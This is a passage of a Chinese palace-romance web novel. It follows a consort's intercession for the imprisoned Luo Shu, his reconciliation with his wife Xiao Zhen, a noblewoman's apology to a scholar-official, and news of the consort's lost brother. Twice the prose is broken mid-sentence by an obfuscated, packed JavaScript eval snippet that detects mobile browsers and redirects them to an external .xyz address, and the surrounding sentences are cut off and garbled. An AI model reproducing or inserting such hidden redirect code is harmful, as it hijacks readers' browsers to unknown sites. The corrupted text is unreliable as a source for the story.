“老爷总不能眼睁睁看疏儿死罢,他若有个三长两短,我也不活了。”罗母泣诉道。 罗父叹了一声:“你们在家中等消息。” 说罢起身就要出正屋,罗母在后追问道:“老爷去哪里?” “还能去哪里?去王庭请罪。” …… 次日一早,众臣入王庭参加朝会,远远就看见两个人影跪在阶陛之下。 朵尔罕从旁经过,斜了一眼,嗤笑道:“你们罗家同阿史家约好了?昨儿个他家,今儿个你家?” 罗家主身子虚,此时带着次子已跪了一夜,没气力同朵尔罕辩驳。 朵尔罕心情不错地离开了。 接着又走来一人,声音里带着幸灾乐祸的惊疑:“老罗子,你这是怎的了?” 同样的场景,只隔了一天,就调了个儿,说话之人正是阿史家家主,阿史鹞。 罗家家主气得吹胡子瞪眼,看见他比看见朵尔罕还气。 “你也一大把年纪的人,怎的还改不了年轻时的轻狂,这又是犯了什么事?”阿史鹞把昨日他讥讽自己的话,原封不动地还给他。 “你少在我跟前现眼,不是你家那丫头,我能这样?我罗家招谁惹谁了,祸从天降。” 阿史家主也觉着有些对不住,虽不是有意为之,却也有一部分他们的原因,遂说道:“你就是跪到死也是不行。” “如何不行?你昨儿不是这样?” “你这情况能和我比?我最多是办事不力,你这可是罪魁祸首,能一样?”阿史家主继续道,“你还跪在这儿招他的眼,一会儿看你来气,把你也治个罪,你说你一大把年纪了,受得了一顿打?怎的这点事情也想不通?” 罗家家主一想,这话没错,听他话里有意思,遂问道:“那你说该当如何?” 阿史鹞看了看左右,又看了眼罗老头身边的次子,说道:“去,去,跪那边。” 那罗家次子只得移远了。 阿史鹞这才说道:“这位主儿是个心狠的,你求不住,得求另一位……” 罗家家主呆了呆,下一瞬恍然道:“你的意思是……” 阿史鹞“嗳”着点点头:“如今这王庭里,能在大王跟前说上话的就这位了,那位可比圣太后的话还好使。” 罗家家主一时间又作难起来:“那位跟前,我搭不上话儿啊。” 阿史鹞气道:“谁叫你搭上话儿,你那儿媳不是肖家女么?” 罗家家主一拍额,眼中重生希冀。 进入王庭需递折子,等批过才能进入,这中间又耗了几日,终于,王庭那边有了消息,允肖家女进入。 肖甄进入王庭,去了姐姐肖妃所居的莲花殿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15591212|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,姐妹两人阔叙一番。 “时常想念阿姐,只这王庭进来一趟实属不易。”肖甄说道。 肖妃名肖蓝,同肖甄乃同胞姐妹,姐妹二人自小感情和洽,又都是温柔娴雅之人。 肖妃点头道:“我瞧你面色有些不好,上次来还不是这样,可是出了事?” 罗疏出事后,肖甄作为长媳,在罗府不得不强打起精神撑着,还得宽慰罗母。 这会儿姊妹当前,肖甄再也忍不住,当下两眼流出泪来。 肖妃一看慌了:“是不是出了事,我长居宫内也不通晓外事,快莫要哭。” 肖甄拿巾帕拭着泪,把前些时发生的事备述出来。 肖妃听罢,略一沉吟,说道:“你先同我去一趟祥云殿,见过太后,容你在王庭多留几日,此事不是一两句求情就能成的,落后,我再带你去西殿。” 肖甄握着肖妃的手,忐忑道:“阿姐,这位梁妃可好说话儿?” “我同她来往不多,不过就我所知,不是个简单之人,你可知东殿的大妃,朵氏?” 肖甄虽为内宅妇人,有些大事也有耳闻。 “朵家两姐妹原是抱着什么心思?那样厉害的两人,对上西殿那位后,你看看都是什么下场,东殿如今还空着呢,想一想,也是让人嗟叹。”肖妃叹息一声,“要说这位梁妃,好说话也不好说话,待你见了就知晓。” …… 西殿…… 拽地的青纱帘垂挂着,被风轻轻吹起,宫婢们安静地侍立在侧,殿内一点点匙碗磕碰声,显得殿室更加安静。 殿外的阳光碎成金片铺洒到地板上,江念屈腿敛裙坐于席垫上,身前横着长几,几上放着各类调香的物件。 江念拿着一盒配好的香膏,放在鼻下闻了闻,然后递向对面,说道:“你闻闻。” 阿史苓探着脖,欣喜道:“这个好,我就要这个了。” 江念微笑着把香膏盒闭上,给旁边的秋月:“给苓姑包起来。” 正说着,木雅走了进来,俯身道:“肖妃带着罗家媳请见。” 江念颔首,正待叫木雅将人请进来。 阿史苓听说,问道:“罗家媳,可是肖妃之妹,肖甄?” 木雅应是。 一说起这个,阿史苓就来气。 “殿下,你是不知,这位肖家女子,名肖甄,嫁的就是罗家的罗疏,那聚宝阁的东家就是罗疏,很不是个东西。” 阿史苓受了大气,回去后一通打听,连人家的内帷私事都探得了,不过真要说来,这也算不得什么秘密。 江念好奇道:“除了那天的事情,还有别的事惹到你了?” “那聚宝阁的女管事就是他的相好,罗家大郎被迷了心,连妻子都冷落了,姐姐说,气不气人?” 江念思忖片刻,问道:“既然罗家大郎如此薄情,他妻子怎的还来王庭?” 除了求情不会有别的。 阿史苓叹了一声,带着怜惜的口吻说道:“姐姐你想呐,夫妻一体,更何况像咱们这样的家族,罗家大郎若是受难,甄姑作为他的妻子能好到哪里去,只怕也会被牵带,再者,这里面少不了罗家二老的催逼,所以,纵使罗家大郎再如何对不住她,她也是‘胳膊折往袖子里藏’,不得不来走一趟哩!” 好嘛,人家媳妇火燎一般来求容赦,阿史苓不知前因后果地上了一剂眼药,苦于肖甄还不知情,心里正忐忑怎样替她夫君求情…… 第187章 绸缪恩爱 江念听阿史苓不知全貌地一说,于是罗疏散出负心人的万丈光芒,可怜肖甄还在苦恼怎么替自己夫君说情,这边阿史苓横插一脚,添油加醋一说,让人先入为主有了不好的印象。 “把人请进来。”江念吩咐道。 木雅应下,出殿,将人迎了进来。 两方上前相互叙礼,各自分位次坐下,宫人们开始上茶点。 江念笑看向肖妃,说道:“肖姐姐是贵客,今日一来叫我受宠若惊,平时想去你那莲花殿,知你喜清静,又怕扰了你。” 肖妃微笑道:“这可是说反了,倒是我想来,怕你嫌我,早知是这样,以后我就多来,这不,不止我来,还把我家小妹也一并带来了,你可不准嫌烦。”说着又惊了一声,“妹妹这眼睛……” 江念笑了笑,抬手抚上右眼,那里罩了一层白纱。 肖甄轻缓缓站起,再次对着江念行了一礼:“臣女再拜梁妃殿下。” 江念颔首道:“不必多礼,坐下说话。” 这位云川肖氏较大多夷越女子白皙,眉眼柔静,行止间礼数周全到叫人舒心。 在江念打量肖甄的同时,肖甄也看清了这位承君专宠的梁妃,嶂山狩猎时,她只远远见过,看得并不清楚,今日才得近观。 只见其莹雪凝成的肌,虽有眼纱罩着右眼,仍可见那弯弯翠眉下的秋水眸,眼角眉梢飞扬着俏意,风姿绰约娉婷。 几人坐着喝过茶,闲叙着。 肖甄看了一眼肖妃,肖妃暗暗摇了摇头,肖甄便按捺下来此的目的,只作闲话。 坐了一会儿,阿史苓起身辞去,众人同她道了别,此时殿中只江念和肖氏姐妹。 江念看了对面的肖甄一眼,说道:“甄姑今日来我这里可是有事?” 肖甄起身,走到江念面前,就要跪下,江念担住她:“可是为了你家夫君之事?” “求殿下怜悯,此事我夫君确有过处,该惩该罚,只求殿下抬抬手,饶他一命。”肖甄说道。 江念略一思忖,说道:“此事我也做不得主,全凭大王处置。” 肖甄听说此话,心里一凉,还想再求一求,肖妃的声音插了进来:“妹妹不要同她见怪,她也是心切,没了主意。”说着转头对肖甄说,“你也看开些,妹夫有了错,本该受罚,大王心中自有定数的,莫让梁妃难为。” 肖甄便不言语了,知道今日只能到此,两人又坐了一会儿,说了几句无关紧要的话,辞了去。 待到晚些时候,呼延吉回了西殿,江念把今日的事情告诉了他。 呼延吉笑了一声,说道:“先别应,拖个几日。” 江念听他的话意,像有别的打算。 “大王的意思是?” 呼延吉挥手叫寝殿的宫人们退下,然后对江念说道:“阿姐,你过来。” 江念起身,坐到他的身侧。 呼延吉认真地看向她,说道:“一个罗家,一个肖家,这两家是姻亲,罗疏我会放,但是得让肖、罗两家承你的情,日后对你有助益,所以,需得让他们先急一急,越急,这个恩情方显得更有重量。” 江念明白过来,呼延吉这是为她日后铺路,心中又是欢喜又是感动。 呼延吉拢着她的肩头,刚想说歇息的话,江念抬头说道:“苓姑跟我说,那罗家大郎德行不太好,得多关些时,不能太便宜他了。” 呼延吉先是一怔,问道:“她说谁?罗疏德行不好?” 江念点了点头,把阿史苓的话又转述给呼延吉听:“那甄姑我看顶好的一人,只是罗家大郎这般不珍爱。” 说到这里,呼延吉不得不替罗疏说两句:“罗疏先时是有些风流性,不过放在大家子弟身上也是常见,据我所知,他后来为娶肖甄足足在云川耗了两年,若非真心喜爱,何至于此。” 江念觉着有理,说道:“想来是外界谣传了。” 呼延吉笑着摇了摇头:“你管人家这些做什么,他夫妻二人好不好的,是他二人的事,叫你操这份心。” 江念跟着笑起来,笑声未止呼延吉把人打横抱起,入到帐中,自是一番绸缪恩爱,红浪翻飞,个中意趣,百般难述。 落后几日,肖妃带着肖甄常往西殿来叙话,有时二人一起,有时肖甄独个来,来了后就会坐上小半日。 江念同肖甄相谈甚为投契。 肖甄说话清雅,同阿史苓的活泼不同,她说话的语调总是不疾不徐,态度也是不卑不亢。 江念见她连日来不再开口提赦免之事,嘴上不说,可眉目间却是抹不开的轻愁。 她不提,江念自然也不会主动开口。 这日,肖甄从西殿回了莲花殿,呆坐在那里,丫头香海走上前,轻声道:“主子,刚才内侍司的女官送了书信来。” 肖甄接过书信,看了一眼封套上的字,一封是罗家来的,一封是肖家来的。 想是她本家听到了风声,差邮人送信到罗府,罗府又另写了一封书信,一齐教人送进王庭。 肖甄先拆了肖家的信件,信中关心她的近况之余,又探问罗家目下的况景,若她可动身,先回云川家中。 她知道父母的意思,这是教她脱身,担心她被连带,亦担心肖家被牵扯其中。 肖甄把肖家书信折好,重新放回封套,又拆开罗家书信,细细看了,看过后,心思又沉了几分,她没多少时间了,再过一日就得出王庭,若求不到恩赦,届时她该如何? 肖甄将手里的两封书信叠在一起,指尖无意识地在封套上摩挲,明日,再去求一求…… …… 肖甄伏跪于江念面前,江念叫她起身,她并不起身,横了心一般:“臣女明日出王庭,今日斗胆厚着脸再央殿下一次,不指望赦免他的罪责,只求留他一条性命。” 江念叹了一声,想起呼延吉的话,这个时候她可应下,不过仍是多嘴问了句。 “值得为他做到如此地步?” 肖甄抬起头,含泪道:“值得的,殿下不知,他自知事态严重,罪责难逃,怕牵带我,写了休书放我归家,都说‘夫妻本是连枝鸟,祸至分飞各西东’,可臣女不愿做那负情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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猛地睁开眼,就见牢门“吱呀——”一声打开,阿史勒走了进来,立住,戏说道:“不愿出去?在这里待惯了?” “不是玩笑?”罗疏仍是有些不信。 “我多闲呐,跟你在这玩笑,再说,你以为我多大的面儿,能让这里的牢门打开?” 罗疏一想,这倒是,他是禁卫亲拿,除了君王的命令,他的这扇牢门,谁来都开不了。 “这就……没事了?”罗疏招手让阿史勒过来扶他。 阿史勒懒得搀他,两个大男人,碰一下就让他不自在,给旁边的随从睇个眼色。 “去,扶你罗家爷起身。”又转头对罗疏道,“你挨这些打还嫌不够?” 罗疏在随从的搀扶下艰难地站起身,通身都是血棱子,裂开的衣衫破口处可见里面凝黑的伤口。 “我看你这样怕是喝不得酒……” 阿史勒话未说完,被罗疏摆手打断:“有什么喝不得,你今儿哪也别去,咱们到春江楼去喝,喝个痛快。” 第188章 以身相许 罗疏从牢房出来,打发自家来人,只留了两个小厮,余者叫他们先回,给老爷、老夫人报个平安,他容后再回。 罗家人应下去了。 到了春江楼,阿史勒已置办好一桌酒,罗疏在间壁沐过身,把原先的血衣褪去,换了身干净衣衫,小厮搀扶着去了隔壁。 阿史勒看他的样子,倒还好,除了皮肉伤,没伤到筋骨,又问了句:“真能喝?” “伤的是我,又不是你,能不能喝我自己不知道?”罗疏一面说,一面给自己满上酒。 阿史勒点头给自己也满上一杯,说道:“那位难得开恩,没要你的命,算是逃过一劫。” 虽是逃过一劫,却也剐了一层皮肉,伤了元气,罗家在夷越所有的赌场全都封禁,归入王室。 罗疏仰头闷下一口酒,说道:“当真是不行了。” “什么?”阿史勒下意识问出,随即反应过来他说的是什么,他早说过,呼延吉是个厉害的,他在梁为质的经历就不是一般人受的,可知他的忍性和毒性。 若夷越还是呼延成为王,对上姓出手不见得这样迅猛,偏成王去得早,换了他弟弟当家,年纪小小,却恁的刚绝,连自己的外家都下狠手。 又是御驾亲征,又是边境换将,还抬举各大世家掣肘上姓氏族,这等雷霆手段,叫他们应付得好苦,不知后面还有何招。 阿史勒看得清,就怕自己这兄弟看不清,受了一顿牢狱之灾,心中不忿,于是问他:“人家给你一巴掌,再赏你一颗枣儿,你要不要?” 罗疏又给自己满上一杯,不语,只是闷头喝,阿史勒见了,怕他认不清实务,拿起筷子往他身上丢去:“问你呢,要不要?” 罗疏扬起脸,迎着亮,说道:“能不要么?敢不要么?打我左脸,我还得把右脸也递上去。” 阿史勒拿指虚空点了点:“这就对了。” 两人边吃边喝,罗疏这会儿真没心情计较别的,唯有劫后余生的庆幸。 呼延吉当真能要他的命,拿他一个开刀还是绰绰有余的。 “你之后打算怎么办?”阿史勒本是问他的营生。 罗疏心头却在想另一桩事,话随话间,说道:“歇个两日,我得去一趟云川。” “云川?你去云川做什么?”说罢,阿史勒想起他妻子肖氏的娘家是云川的,劝了句:“你这伤可大可小,还是该多歇些时,再陪宝眷回乡。” 罗疏摇了摇头,接着又是一杯,愁道:“不是伴她回乡。” “那是什么?” “可还记得那日我叫你放我回府一趟?” 阿史勒端起酒杯“嗯”了一声。 “我回去给她写了一封休书,叫人送她回云川了。”罗疏说起这个就愁,不知要怎么把人迎回来。 阿史勒一口酒呛在喉头,咳了半晌,涨得面红筋浮,撑着桌面缓了好一会儿,嗄着声儿,说道:“你不用回云川。” “怎么?” “你当这次为何赦免你的罪责?” 罗疏摇了摇头。 “你妻子求到梁妃那里去了,这才赦了你,她如今就在王庭内。”阿史勒不嫌够,恶恶地加了一句,“说错了,现在不是你妻子。” 罗疏惊在那里半晌回不了神,心里一时又是惊,又是喜,又是感动,这些杂糅的情绪下,又生出一点点忧,如今她同他没了关系。 再一转念,又释然,她为了他才求到王庭,证明心里仍有他,他现在就去王庭把人接回罗府。 这么一想,酒也不喝了,腾地站起,就要往外走。 阿史勒问道:“干什么?” 人已出到房门外,只丢下一句话:“接人去。” 阿史勒追上他的步子,拉住:“你还接人?你当你是谁?王庭是你想进就能进?拿个牙牌最多到前廷,进得了内廷?我看你是想再死一道。” 罗疏情急之下没顾上这些。 阿史勒见他心神飞离,也不留他:“你别急,也不在这一时,人在王庭好好的,定是同梁妃投缘,不然你也出不来,叫我说,你先回府,报个平安。” 罗疏点点头,辞了去,回了府同双亲相见,少不得来自老大人的训教和老夫人的泣问,之后回了书房,搦笔疾书,差人送入王庭。 这书信想要送进王庭,不比别的地,又是一番章程,罗疏自打书信送出就坐立不安,偏他身上还带着伤,结果好不容易等来消息,却不是回信,而是一句话儿。 “王庭没有罗家妇,只有肖家女。” 这一下可了不得,之后又去了几封书信。 肖甄手里拿着那些书信,只看了头一封,落后的几封不曾拆开。 江念笑道:“你不看?” 肖甄将书信搁于膝头,温声道:“不看了。” “你这性子倒是稳得住。”江念说道。 这些时日相处下来,两人很是聊得来,相互解闷打发时日。 “这次幸有殿下相帮,他才有机会得见天日。”肖甄说道。 “也是大王体恤,这件事他确有错处,不过也有可容情的余地。” 肖甄应是,遂又道:“臣女今日来,一为谢恩,二是向殿下辞别。” 江念颔首道:“我也不留你,日后常到王庭来。” 说罢,木雅上前,奉上一玉色牙牌。 “你拿着这个,同苓姑一样,方便进出。”江念说道。 肖甄赶忙双手接过,又是一番恳恳谢恩。 落后,江念差宫人将肖甄送出。 出了王庭,肖甄带着丫头香海乘上特备的马车。 “主子,我们是回罗府么?”香海问道。 肖甄看着手里的书信,将它们搁在一边,说道:“回云川。” 香海得了话,掀开车帘,对车夫吩咐了。 彼边,罗疏还在家中焦急地等回信,罗父罗母在得知他休妻后,把他又是一顿骂,虽说他是好意,可这事叫上听着窝火。 最后还是罗父出面,拿着牙牌进了王庭,探了消息才知人昨日就已经离开了王庭。 罗疏得知后,心道,人既然不在王庭,却也不见她归家,暗道不好,遂叫人备马,一路扬鞭拍马追了去…… …… 香海侧目,见自家主子手肘撑着车案,手支着额,双眼微阖,面上神情淡淡,同那夜出罗府时的泣然之色全然不同。 “主子,我给你剥个果儿吃?”香海说道。 肖甄“嗯”了一声。 香海从果盘中拿出一个青果,先用帕子拭了拭,正待剥皮,车马遽停,因太过突然,使得人身往前倾了倾。 “怎么回事?”香海问了句,外面却无人回应,探手揭帘往外看去,却不见车夫的人,扭头对肖甄道,“主子,我出去看看。” 肖甄点了点头,过了一会儿,不见香海回,且四周没有一点动静,心里随之一紧,难不成碰上歹人了?试着叫了一声:“香海?” 仍是没有回应,突然一个影儿投到车帘上,不动了。 “谁?”肖甄心神不安,从王庭出来后,她决意回云川,因决定突然,身边没有随行的护卫,只有车夫和香海在侧。 话音刚落,就见一刀身缓缓探进帘内,再一挑,帘开处,是一张黝黑寡瘦的脸。 那人在看到车内的肖甄时,两眼淫光大放。 肖甄缩到车角,手边摸索不出一把利器。 那汉子一个抬腿,就要登上马车,肖甄把手边的包袱朝他扔去,仍阻止不了那男人,反叫他发出淫邪的笑声,就在男人整个身体都要探入时,却突然往后仰去,再然后听到闷哼砸地的声音,接着,车帘掀开,一个人闯了进来。 肖甄把手边的又一个包袱甩过去,那人匹手一接,头一歪,露出一张熟识的俊脸来。 “我就这么不受你待见?”罗疏扬唇一笑。 肖甄见着来人,先是一呆,提着的心终是松下来,往他身后望去,眼中仍残有惊惶。 “无事了,不过一个乡野汉子,我的人把他押走了。”罗疏说着,进到马车里。 马车本是很宽敞,可男人一进来,就把它显小了,两人虽同坐车内,中间却隔着一条说宽不宽说窄不窄的道。 罗疏不自在地清了清嗓子,侧着身,看向旁边的人:“你替我求得情?” 肖甄垂着眼,淡淡地说道:“不当什么。” “怎能不当什么,这可是救命之恩,自当以身相许。”罗疏说着,往她身边近了两分。 肖甄双眼乜斜,冷言道:“可不敢,我是水性儿,进不了你罗家的大门。” 罗疏将手撑在腿上,看着她笑道:“那也好说,你是水性儿,我是风流性儿,咱俩正配。” 肖甄哪里说得过他,薄面微嗔,眼中带怒,不去理他,也不愿同他在一个车内待着,起身就要下去,却被男人一把拉回,手被他紧紧攥住不放。 “你慌什么?我的话还未说完。” 肖甄看向他,说道:“还有什么可说的,一纸休书已是断了你我的夫妻之缘,好在没有孩儿,如今你是你,我是我。” 她将他当日的话还给他。 罗疏一噎,不论她说什么,嗔他也好,骂他也罢,手却同她紧紧交扣在一起,肖甄又挣脱不得。 “你若真想走,我也不拦着,只是你看……这路上盗匪流民太多,你身边又无个护卫,我怎么放心你去?” 罗疏见她默着脸,不言语,又道,“不若这样,你先随我回去,我身上还有伤,待养个几日,再亲自送你回云川,对你家老大人、老夫人也有个交代,如何?” 第189章 曲尽其趣 肖甄听他说身上带伤,不着痕迹地瞟了一眼,又快速移开。 再一想,从王庭出来临时决定回云川,确实有些莽撞,自己身边没带随护之人,只一个车夫和丫头。 这会儿是他追了来,不然后果难料。 罗疏见她态度松动,只是碍着脸嫩不语,当下揭开车帘,叫车夫返回京都。 “我的丫头呢?”肖甄关心道。 “放心,跟着在呢。” 男人嘴上说是等身子调养好送肖甄回云川,试问,有谁休妻后,还把下堂妻的手攥得这样紧的。 而肖甄一时心软应下随他回罗府。 他二人回去后,还不得由着罗疏使出百般手段,曲尽其趣,好哄回妻子的心。 马车掉头,开始回程,肖甄隐隐觉着哪里不对,一时间又说不上来,她忘了一点,以罗疏的性格,抓着匪人,决计不会着人押走,通常就地杀了了事。 这一出,也不过是男人的百般手段之一。 所以,真真假假中皆是有情男女的你情我愿罢了…… …… 话分两头说,阿史苓撞到崔致远身上,她的头簪划破他的衣襟,还误将他认为游闲,落后又在春江楼碰上,她丢了一包银子与他,索性把他的衣衫撕出一道更大的口子。 现下回想起来,她整张脸都是烫的,那人也是好性儿,除了恼红脸,竟没追骂她,如今再想,越发显得她在欺负老实人。 而且这老实人还是朝中新贵,新任的参知学士,听父亲说可避开左右大臣,直接向君王谏言,甚至起草诏书。 阿史苓在家中左思右想,心里过意不去,她这是冤枉了一个好人,该有的歉意不能少,于是叫上丫头珍珠,带上几个仆从出了府门。 马车停下,阿史苓在丫头的搀扶中下了马车,抬头看向门匾,青底黑字,崔府。 “是这里了。”阿史苓叫珍珠上前,递上名帖。 崔府的门子上前来,接过名帖,转过身进到府里。 崔致远正在书房看书,听见敲门,道了一声“进”。 随从进入,走到桌案边,双手奉上名帖:“门子说人还在府外候着。” 崔致远从书上移开眼,拿起手边的茶盏,瞥了一眼名帖,蹙眉道:“不是交代过,再有人找,只推我不在。” 自打他升职参知学士一职,总有大大小小的官员借各种由头拜访,一开始他还应付应付,时日长了,也是不甚烦扰,尽是些拉拢奉承之言。 随从赶忙说道:“是阿史家的女眷。” 崔致远拿茶杯的手顿了顿,将茶杯搁到桌上,接过名帖,展开,看去,然后将名帖往桌上一丢,默了一会儿,说道:“将人请进来。” 随从应下,退了出去。 正当阿史苓等得不耐之际,府里走出一个身着蓝粗布镶黑边的仆人,趋阶而下,走到阿史苓身前,躬身道:“家主有请。” 阿史苓眼睛在这人身上一睃,心道,这样大的官,这样大的府邸,仆从的衣着有些素过头了,当下带着丫头,随在那人身后进了府里。 听说这府邸是大王专赐于这位崔学士,一路行来,林木葳蕤,山石奇巧,楼宇错落,虽不比她家阔大,却也是一处不小的宅邸,放在京都地界,普通人家多少辈子都挣不来。 不过,这府邸虽大,却见不着几个下人,就是零星路过的几个下人,衣着上同豪阔的宅院有些不协洽。 他们停在一方院落前,院角几簇翠竹,竹边设了一方看不出什么材质的实木桌,桌边摆着几个凳子似的圆木桩。 “阿姑稍候,小的进去传知。”仆从说道。 阿史苓“嗯”了一声,一双眼又在院中打量起来,看来看去,也没个意思,除了植木就是植木。 身后响起房门开关的响动,阿史苓转头看去,就见那日的“书生”一身素服打扮走了出来,先往她这里看了一眼,慢慢走到她面前,双手背到身后,也不说话。 阿史苓道理上有亏,把姿态放低,双手合在身前,说道:“参知大人见谅,上次误会了。” 崔致远侧过身,并不受她的礼,冷笑一声:“不敢,怎当得起阿史家的贵女这一福身。” 阿史苓见他不信,有些急了,下意识近了一步,崔致远连退两步,隔开距离。 “今次来是真心同你赔罪。”女子说着,叫自己的婢女上前,“喏,你看。” 崔致远抬眼看去,就见那婢子双手托着一个包袱,遂问道:“何意?” 阿史苓“哎呀”一声,亲手把包袱打开,然后侧过身,将包袱里的东西展露出来。 “上次撕了你的衣衫,是我的错,这不,特特来给你赔一件,你看呐……”阿史苓一面说,一面执起一角衣料亮给崔致远看,“这件可比你原先那件金贵,织锦缎的,色彩又绚,抵百来件你之前的破衣服。” 崔致远见她嘴上说是来道歉,可那态度倨傲,哪有半点歉意,当下冷了脸,哼了一声:“若是无事,就请回罢,恕不招待。” “这套衣衫你不喜欢?那我换一件来,绫、罗、绸、缎,你喜欢哪种,我再去寻,定给你寻一件样式新,又合你气质的。”阿史苓说罢,眼睛在崔致远身上来回度量。 崔致远从未见过这等行事大胆又礼识粗疏的女子,一时间被她瞧得不自在,气道:“拿着你的衣裳,赶紧走。” 阿史苓一片好心却被轻待,心里也生了恼,嘟嘟囔囔道了一句:“山猪吃不了细糠。” “你说什么?”崔致远听她嘴里咕噜着,虽未听清,但绝对不是什么好话儿。 “没,没什么,我说我来了一趟,你好歹留我喝杯茶再走。”阿史苓脸上堆起笑。 崔致远抿了抿唇,也不好再说撵人的话,叫院子里的下人看茶。阿史苓走到老木桌边,嫌弃地睨了一眼那木桩子,丫头珍珠赶忙上前,掏出巾帕把木桩子拭了又拭。 “主子,可以坐了。” 阿史苓这才侧身虚坐下,然后又睨了一眼老木桌面,珍珠又颠颠上前把桌面也擦拭了一遍,阿史苓这才端起茶杯,施舍般地呷了一口茶。 这一套动作,把旁边的崔致远看得眼角直抽,这是哪儿来的金贵奶奶,还得人供着不成?当下忍着,坐到她的对面,说道:“你把衣服拿走,也不要再送什么衣服来,我身子贫,承不起那么贵重的料子。” 阿史苓放下茶杯,暗忖道,他一再拒绝自己的好意,难说不是记恨到心里了,回头揪个机会在大王面前撺掇两句,大王再记她父兄一过,也不是没可能,况且她既然来了,就没有白来一趟的道理,一个念头划过。 “崔大人,我这人呢是非分明,错就是错了,虽然你大人大量,不计较,可我自己却过不去,不如这样,你把那件破损的衣衫给我,我拿回去,替你缝补好,再给你熨齐整了,叫人奉纳于你府上,这样可好?” 崔致远听说,抬眼看向她,轻笑一声:“我不会叫我府上的婢子缝补?倒叫你拿去?未免多事了。” 阿史苓怔了怔,心道,还真是,好在她脑子转得快,说道:“那怎能一样,这衣衫在我手里破损的,我拿回去亲自把它缝补好,只当赔罪了,你那婢子比得了我这双巧手?” 崔致远心道,这人说着话还不忘把自己夸一夸,转瞬又有些犹疑道:“你会针线活计?” “崔大人哪里的话,针线活计怎么不会,家中专请的师傅,那些什么刺绣啊、缝补呐,打我记事起就跟着学。” “你记事起就学刺绣?” 阿史苓打了声咳嗽,说道:“差不离就是这个意思,你一个大男人,恁的婆妈。” 崔致远见她严辞诚恳,想她一女子,亲自登门而来,几次三番致歉,他也不好揪着太过,遂给仆从丢了个眼色,仆从会意去了,不一会儿又折返,手中多一件包袱。 崔致远又问了一句:“真个你亲自缝补?” “这是自然,诚为我的一片拳拳之心。” 崔致远听罢,不知怎的,鬼使神差地点了头,仆从上前,阿史苓的丫头接过。 “崔大人,我就不多打扰了,待我缝补好,差人给你送了来。”阿史苓说着站起身。 崔致远点了点头:“有劳了。”然后叫让送她出府。 阿史苓出了崔府,坐上马车,珍珠看了她一眼,问道:“主子,你什么时候学的刺绣缝补?” 阿史苓“嗳——”了一声,说道:“上辈子罢。” 珍珠已料准她的性子,丝毫不见怪,又问:“那你还言辞凿凿说替崔大人缝补。” 阿史苓看了包袱一眼,不甚在意地说道:“回府后,你拿去叫绣娘补一下,他又怎么知道是谁补的,做做样子得了,谁去较这个真。” 珍珠点头应是。 车马缓缓驶动,离开崔府大门。 过了几日,阿史家的仆人把补后的衣衫送了来,崔致远看着衣襟处缝补的痕迹,心道,看着大大咧咧的一人,手还怪巧,心下满意,嘴角翘起一个弧度,将衣衫整叠好,放入衣柜里。 …… 有关兵制革新,设立两司,一个督军司,一个兵部司,统兵权与调兵权分离,又规制将领任期,避免长期掌权,一系列措施下来,逐步削弱地方和将领的权力,确保王权对军队的绝对控制。 如今,王权日隆,上姓、世家等豪族逐渐势衰。 朝会后,众臣散去,一人进了王庭大门,逆着散去的人流往大殿阔步而去,经过之人同他攀谈,他也只略作敷衍地回一礼,又急着往大殿行去。 “阿多图大人,怎的这般急色?”崔致远从前迎来。 阿多图见是他,倒是顿了顿脚步,不过也没多说,只是把他多看了几眼,问了句:“崔大人可想家?” 不等崔致远答话,阿多图已错身走开了…… 第190章 妻弟 崔致远被阿多图没头没尾地问了句“可想家?”,不知何意,想追问,阿多图却急步走开,他回首远远看去,就见阿多图登阶,同丹增问了些什么,然后进了议政殿。 到底何事让这位亲卫首领如此行色? 议政殿内…… 呼延吉听过阿多图的回报,把手里的折子一丢,摁了摁眉角。 “他不愿动身?” 阿多图躬身应是。 “还说什么没有?”呼延吉身子往后一靠,声音听不出喜怒。 阿多图立在那里没有出声,呼延吉看出他的迟疑,说道:“什么话,只管说来,他说了什么。” 阿多图只好把那位的话转述:“他说……不必差人请他,他就在徽城等,只要见他阿姐。” 呼延吉听后,眉头锁得更紧了,手指不耐烦地敲着桌面。 “行了,你去罢。” 阿多图应下,就要退出,又被呼延吉叫住:“准备一下,去徽城,还有……叫崔致远随同,那里他熟。” 阿多图呆了呆,心道,大王这是想借崔致远的嘴罢,毕竟大王的这位小舅哥好似不太好应付。 呼延吉回了西殿,不见江念,问了才知她去了制香堂,于是在殿中坐了会儿,等不回她,干脆起身去了制香堂。 制香堂的人见君王驾临,俱停下手头事务,伏跪接迎,呼延吉走到江念身侧,扶她免礼,再示意其他人起身。 “大王怎么到这里来了?”江念问道。 “找你不着,过来看看。”呼延吉往桌案上瞟了一眼,又往她身上看了看,乌黑的云发一股脑地挽在脑后,额前一捻捻的柔丝,一身轻便装扮,把一张脸衬得越发白腻透粉。 江念见他望来,脸上稍稍一红,叫人收了桌案,随他离了制香堂,因晨间落了微雨,地面微湿,空气蕴着潮气,不燥热,凉爽怡人。 “去孔雀苑走走?”呼延吉问道。 “今日不忙?”江念知他正忙于兵制改革。 “也差不多了。” 江念听他说差不多,那就是稳妥了,只要兵权归拢其他的事宜办起来便不再受束。 两人逶迤于孔雀苑的石板路上,身后跟着一众宫人,入眼皆是绿意,又有珍禽于绿茵上闲适地剔翎。 呼延吉侧眼看向江念,想了想开口道:“阿姐,我有件事告诉你。” 江念微笑道:“何事?这样神秘。” “找到江轲了。” 呼延吉一语毕,江念整个人呆住,脸上的表情凝固,再慢慢活过来,由惊转喜,生出光彩,最后红了眼眶,小心翼翼地问道:“真的?” 呼延吉笑着点了点头。 “他人呢,在哪里?还有……他现在好不好?” 